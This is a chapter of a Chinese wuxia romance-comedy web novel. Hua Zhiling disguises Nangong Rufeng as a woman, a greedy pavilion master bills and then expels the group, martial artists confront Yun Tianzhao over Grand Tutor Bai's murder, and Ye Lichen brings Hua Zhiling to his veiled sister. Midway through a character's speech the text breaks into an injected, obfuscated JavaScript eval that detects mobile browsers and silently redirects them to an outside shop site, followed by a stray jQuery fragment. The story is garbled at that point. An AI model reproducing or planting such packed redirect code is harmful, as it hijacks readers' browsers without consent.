“把我变成世上最美的女人?!”
南宫如风自打找到云天照,就好似一点也不担心自己蒙受的不白之冤了。
一听花之凌要把他变成最美的女人,他就等不及了,同千页阁借间房把自己洗得干干净净的,便赤身闯入花之凌的房间:
“小叫花,我准备好啦!你要怎么把我变成最美的女人啊?”
“啊!”
花之凌自然也梳洗了一番,还重新给自己画了个绝世丑妆,她压根没想到南宫如风会光着膀子闯进屋内,原本清澈的眼睛一下子就被对方胸前明晃晃的粉点刺痛了,音调陡高:
“南宫如风,你搞什么,好赖穿件衣服啊!”
“这有什么?大家都是男子,一起洗澡都是寻常事,你还怕看呢?”
南宫如风见花之凌整个人都染上一层热气腾腾的羞赧粉色,当即捧腹大笑:
“你可别是真如流言传的那般,好男风吧?!
哈哈哈~先说好啊,不管你什么癖好,本少爷是心有所属的,爱的还是这世间最美丽纯粹、最清新脱俗、最与众不同的姑娘!
你别嫌我说实话伤人,就你这样的,不管是脸蛋、身材还是性别,都注定与本少爷无缘,做朋友嘛,勉勉强强,要□□人呐,下下辈子也不行!”
“……呵呵。”
花之凌带着嘲讽假笑两声,冷脸将得意叉腰的南宫如风按坐椅上:
“我没兴趣知道你南宫如风爱谁,要不是答应了大哥哥,我才不会为你乔装易容呢,现在你要做的只有一件事,就是——闭嘴!”
南宫如风本就生得不赖,经花之凌的巧手再一折腾,没片刻功夫,真活脱脱成了个国色天香的大美人。
只是这大美人没穿衣裳,言行举止依旧是个浮浪的男人。
千页阁给花之凌提供了不少东西,其中也包括女子的衣物首饰,这些全用在了南宫如风身上。
答应云天照的事,她就要做好,所以哪怕南宫如风不断惹恼她,她还是把人装扮得如同天仙下凡一般。
“啧啧啧,小叫花,原来你这么厉害……不过,你把本少爷弄得这么美,你自己却这么丑,是故意的啊,还是你的真容真丑得绝无仅有啊?”
南宫如风举着小镜在屋内风骚走了几步,都快爱上男扮女装的自己了。
再看一旁冷脸收拾东西的花之凌不答话,口中忍不住嘟囔一句“丑得真别致”,想了想,他嬉皮笑脸地扭腰过去,二话不说就在人面上亲了一口!
花之凌猝不及防之下,被亲了个正着,当即一个耳瓜子甩了过去:
“你有病啊,干嘛亲我!”
“哼,本少爷是看你这辈子都没被姑娘亲过,可怜!为了谢你才勉为其难奖励你的,你还打我?我现在可是个大美人!”
南宫如风捂着脸大叫:
“打就打了吧,你还下手忒狠,把我的盛世美颜都打肿了,这样我还怎么当大美人啊,啊?!”
“……”
再同南宫如风这个疯子呆下去,花之凌铁定也要跟着疯了。
她深呼吸几次后,狠狠瞪南宫如风一眼,自己离开。
另一头,云天照同般若也谈完了话。
两人在廊道见花之凌从另一端气急败坏地走出来,不断擦拭自己的脸颊,最终还气得蹦地,皆有些忍俊不禁:
“还是个孩子。”
“她倒可爱。”
寻千页见时辰差不多了,命仆人将花之凌、云天照、南宫如风及般若四人带上楼,给他们好好算了一笔账。
从他跟花之凌进叶府开始算起,到劫般若、挨花之凌胖揍、赔福生客栈银子……
再到如今用千叶阁的势力帮他们浑水摸鱼,将找麻烦的江湖人暂时引去别处,到四人来到千叶阁后的各种招待。
桩桩件件,算到最后,寻千页直接伸手要钱:
“总共四十四万八千两,匀成四份,你们每人欠我千页阁一十一万二千两。”
云天照:“……”
般若:“……”
南宫如风:“……”
花之凌:“……”
趁火打劫,说的就是寻千页!
“你本可以明抢,偏还带我们上来算了一遍,真是够、真、诚啊!”
花之凌及南宫如风身上一个子儿都没有,此时杀人的心都有了:
“奸商!要钱没有,要命一条!”
“你们须知无利不起早,我千页阁从不做赔本买卖,再说……鱼死网破对谁都没好处。”
寻千页小人得志,玩着手指上的金戒,目光锁住花之凌:
“小家伙,你虽没钱,可你在本阁主这儿,可以刷脸。”
?
“什么意思啊?”
花之凌没好气地揪了揪自己的面皮,呛寻千页:
“要本叫花割给你呀?”
“呵~”
云天照点破道:
“寻千页是垂涎小兄弟你那手易容之术。”
“没错~”
寻千页忽视掉云天照那道暗含鄙视的目光,继续打花之凌的主意:
“你的丑妆和南宫如风的美妆能如此牢固,定然是有不为人知的秘方加持,反正你也不做买卖,告诉本阁主,让本阁主将它在江湖上发扬光大,又有何妨?”
“别想,行走江湖,谁没有一手保命的手段呀,告诉你我还今后活不活了?”
花之凌才不要把保持妆容的秘密告诉寻千页,她谁也不会说的。
欠钱死不了。
可若是保命的秘密没了,那就是自掘坟墓!
“千页阁主,你这账,算的不对。”
一直安静的般若出言道:
“据我所知,你们千页阁做生意向来是先付账后给消息,不存在事后算账一说。
而我们四人之中,也没人请你为我们做事,你属于一厢情愿地掺合,故而,该是你给我们付银子才对,毕竟,这一路你对我们而言,也是个显眼的负担。”
般若的话,让花之凌同南宫如风不断欢呼:
“没错,该你给我们银子!”
????
寻千页大感无语啊,看向一旁交抱双臂的云天照:
“账还能这么算???”
要这么算,他们千页阁还做个屁生意啊,关门得了!
云天照耸肩:
“别看我,你才是千页阁主。”
——
寻千页要钱不得,要易容之法也不得,要动粗吧,云天照态度又有些模棱两可。
一怒之下,他干脆将云天照同花之凌、不良于行的般若、变成美人的南宫如风,一齐赶出千页阁:
“今后休要再踏入此地!”
“你就是请我们,我们都不会再来了,奸商!”
南宫如风与花之凌异口同声。
但后果很快就来了,没了千页阁的干扰,各道江湖人士纷纷寻来,挡道质问:
“杀白太师的南竺凶手身在何处!”
“……”
花之凌同南宫如风都看向云天照。
他们四人中,也只有云天照是真·东霆人,也最有本事,麻烦来了,该他扛啊!
“南竺凶手?白太师?可是前任太师白如鸿?他竟……不可能!分明前日我还在驿站与人相见,好端端的怎会死?你们为何如此恶毒,咒他老人家?!”
云天照演技爆棚,真装得十分惊骇,愤怒。
甚至出手拿住质问之人,点住对方痛穴,折了那人一条胳膊,又踢人膝盖,令人跪倒在地,厉声道:
“白太师也是你能咒的?朝驿站方向,给他老人家磕头道歉,否则我割了你的舌头!”
“啊啊啊——我没咒他,白如鸿真死了!大侠若不信,自去城衙询问,快放了我!”
那人惨叫不断,同行之人纷纷出言相劝,有些甚至想要动手,但都被云天照眼神中的戾气吓退,有些不敢。
胆大的也只敢呈口舌之争:
“云天照,你别以为我们怕你,若不是白太师真死了,我们这群人聚到一处,是闲得蛋疼么?”
“没错!我等亲耳所闻,是南竺国的南宫如风在驿站杀死了白太师!姓南宫,来我们东霆杀人,必定是想两国开战!”
“那凶手你分明见过,他还去过福生客栈,谁知道是不是你藏起来了!”
“哼!你们一面之词,不足为信,驿站有军将驻守,又怎会令白太师遭人所害?”
云天照甩开自己拿住的倒霉蛋,面无表情道:
“白太师之事,我自会查清,他若真遭奸人所害,那我必要凶手伏法,但若是你们诋毁,呵呵……”
那两声呵呵,威胁十足。
“……”
拦住他们的江湖人都无语了。
千真万确的事,到了云天照嘴里,竟成了他们找茬?!
“不信你去城衙,白太师的尸体已经运去城衙尸廨,你去一问便知我们没说假话!”
“去便去,休要挡路!”
看众人开出一条道,云天照目光示意扮做女人的南宫如风推般若先走。
花之凌自觉跟上。
他则断后。
四人走后,滞留的江湖人议论纷纷:
“靠!传言是真的,云天照一到钺星城就去客栈和那个丑叫花相会了!若不是他离开驿站,兴许白太师就不会死了!”
“不过推着般若那个高挑女子又是哪个,生得真是美貌欸,过去怎么从未听人提起过啊?”
“别管云天照那些男女乱事了,现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623488|205374||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抓杀害白太师的凶手最为重要,还有般若,他一个普渡寺的俗家弟子,总留在钺星城定有古怪,我们得盯着他们!”
众人又商议许久,最后才敲定了方案。
他们功夫也没云天照好,暗中监察指不准还被对方戏耍,与其如此,还不如光明正大跟在后头!
“路也不是他云天照开的,咱们走着,他能咋滴?!”
钺星城衙。
一身蓝衣的叶厉尘领着叶家侍卫久侯多时。
见花之凌等人出现,当即上前。
“有钱人……”
叶厉尘脸上带伤,先满是敌意地扫了云天照一眼,又扫向般若。
觉察叶厉尘眼中深处带有担忧,般若神色平静地朝叶厉尘点点头。
见人没受伤,叶厉尘也懒得同他说话了。
打扮得漂漂亮亮的南宫如风被直接忽视过去,叶厉尘走到花之凌跟前,说道:
“小叫花,你答应过我,要同一个人说故事,这个承诺,你现在是否还遵守?”
“呃……”
花之凌心中自然是想同云天照三人一起去看白如鸿尸体的,可……
这不答应,只怕又要打了,还是在城衙大门打,不被抓去坐牢才怪!
这样耗下去,猴年马月才能洗清南宫如风的罪名啊?
也罢了,她牺牲一下。
花之凌叹息一声,无奈道:
“你的钱我都花了,要遵守也行,但我只会如实说,绝不诋毁大哥哥。
还有,你不得再起心杀我,我需如何随你去便如何回,一根头发都不能少,若你做不到,我便也不遵守。”
“……随我来。”
叶厉尘生怕云天照忽然插手,见花之凌答应,立即拽着她的手腕就往城衙里边走。
这把花之凌整不会了,怎么是往内走哇?
她扭头看着被远远后头停留原地的云天照几人,心中懊恼:
还好朋友呢,我就这样被带走,他们竟没一个说话的!
就我傻乎乎地拿他们当朋友,他们拿我当傻子!
……
被带到一处僻静庭院,花之凌忙问:
“有钱人,我到底要给谁说故事啊?”
“我姐姐。”
“啊?!”
不等花之凌再问,叶厉尘就将她带到了燃着冬梨香的堂内。
花之凌也随之见到了——
一个用白纱遮去面容的婀娜女子。
对方那温柔坚定的目光纵使看到花之凌真如弟弟所说那般丑陋,也毫不闪躲,直直看着她。
近乎贪婪地看着,看到花之凌从心底打起寒颤……
这位姐姐该不会是信了有钱人乱传的故事版本,以为她和大哥哥有一腿,把她当情敌了吧!
“你不必紧张,我只是想知道天照的事。”
女子眉目精致,身姿又曼妙,纵使不露下半张脸,花之凌也知对方必然是个大美人。
心中莫名有些羡慕:
若寻千页昨夜说得属实,那眼前之人,十三年前……甚至更早,就与大哥哥相亲相爱了。
她花之凌十三年前……才三岁,也不识得大哥哥那般人物。
若是她花之凌能早生个十年八年的就好了,指不准大哥哥少年时,还打不过她呢!
又或者……少年时的大哥哥比如今更有气魄呢?她若也能亲眼见见就好了……
!
意识到自己越想越岔,花之凌连忙甩头。
“小叫花,你干嘛呢,赶紧讲啊。”
叶厉尘亲自给姐姐斟茶,又给自己斟了一杯,随即斜靠一旁,打算陪着姐姐听故事。
可小叫花也不只怎么的,在他姐姐的目光下,竟有些失魂了,总不能是癞蛤蟆想吃天鹅肉,觊觎他姐姐吧!
想到这个可能,叶厉尘不悦极了,摔杯呵斥:
“别忘了你的身份!”
“尘儿,你别吓着她。“
叶清璇心中厌恶眼前衣着破烂的小乞丐,但她丝毫没有表现出来,还出言相护。
只要能达到目的,她不介意恶心自己——的眼睛,看着这小叫花!
叶厉尘一怒,花之凌也回神了:
“凶什么凶!讲故事不需要酝酿情绪吗?再凶我就不讲了!”
她花之凌从不是逆来顺受的女子,叶厉尘敢拿她撒气,她也懒得给对方脸面了,自顾自地寻了把太师椅坐下,翘起二郎腿。
见自己手边无茶,一会儿讲起故事来,她得渴死,故而毫不客气地上去夺走叶清璇及叶厉尘那桌的茶壶。
在叶厉尘想要杀人的目光之下,她喝了口茶,才娓娓道来与云天照的过往:
“说来我与大哥哥相识不过半月,当时是在帝临城,我……”